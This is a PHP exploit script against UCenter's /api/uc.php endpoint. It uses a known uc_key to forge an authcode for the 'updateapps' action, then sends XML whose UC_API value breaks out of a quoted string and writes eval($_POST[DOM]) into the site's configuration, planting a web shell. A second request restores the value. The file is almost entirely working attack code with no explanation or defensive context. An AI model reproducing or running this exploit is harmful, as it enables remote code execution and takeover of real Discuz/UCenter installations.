- <?php
- // 代码版权归原作者所有!
- $timestamp = time()+10*3600;
- $host="127.0.0.1";
- $uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
- $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
- $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
- <root>
- <item id="UC_API">http://x\');eval($_POST[DOM]);//</item>
- </root>';
- $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
- <root>
- <item id="UC_API">http://x</item>
- </root>';
- $html1 = send($cmd1);
- echo $html1;
- $html2 = send($cmd2);
- echo $html2;
-
-
- function send($cmd){
- global $host,$code;
- $message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
- $message .= "Accept: */*\r\n";
- $message .= "Referer: ".$host."\r\n";
- $message .= "Accept-Language: zh-cn\r\n";
- $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
- $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
- $message .= "Host: ".$host."\r\n";
- $message .= "Content-Length: ".strlen($cmd)."\r\n";
- $message .= "Connection: Close\r\n\r\n";
- $message .= $cmd;
-
- //var_dump($message);
- $fp = fsockopen($host, 80);
- fputs($fp, $message);
-
- $resp = '';
-
- while ($fp && !feof($fp))
- $resp .= fread($fp, 1024);
-
- return $resp;
- }
-
- function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
- $ckey_length = 4;
-
- $key = md5($key ? $key : UC_KEY);
- $keya = md5(substr($key, 0, 16));
- $keyb = md5(substr($key, 16, 16));
- $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
-
- $cryptkey = $keya.md5($keya.$keyc);
- $key_length = strlen($cryptkey);
-
- $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
- $string_length = strlen($string);
-
- $result = '';
- $box = range(0, 255);
-
- $rndkey = array();
- for($i = 0; $i <= 255; $i++) {
- $rndkey[$i] = ord($cryptkey[$i % $key_length]);
- }
-
- for($j = $i = 0; $i < 256; $i++) {
- $j = ($j + $box[$i] + $rndkey[$i]) % 256;
- $tmp = $box[$i];
- $box[$i] = $box[$j];
- $box[$j] = $tmp;
- }
-
- for($a = $j = $i = 0; $i < $string_length; $i++) {
- $a = ($a + 1) % 256;
- $j = ($j + $box[$a]) % 256;
- $tmp = $box[$a];
- $box[$a] = $box[$j];
- $box[$j] = $tmp;
- $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
- }
-
- if($operation == 'DECODE') {
- if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
- return substr($result, 26);
- } else {
- return '';
- }
- } else {
- return $keyc.str_replace('=', '', base64_encode($result));
- }
-
- }
- ?>
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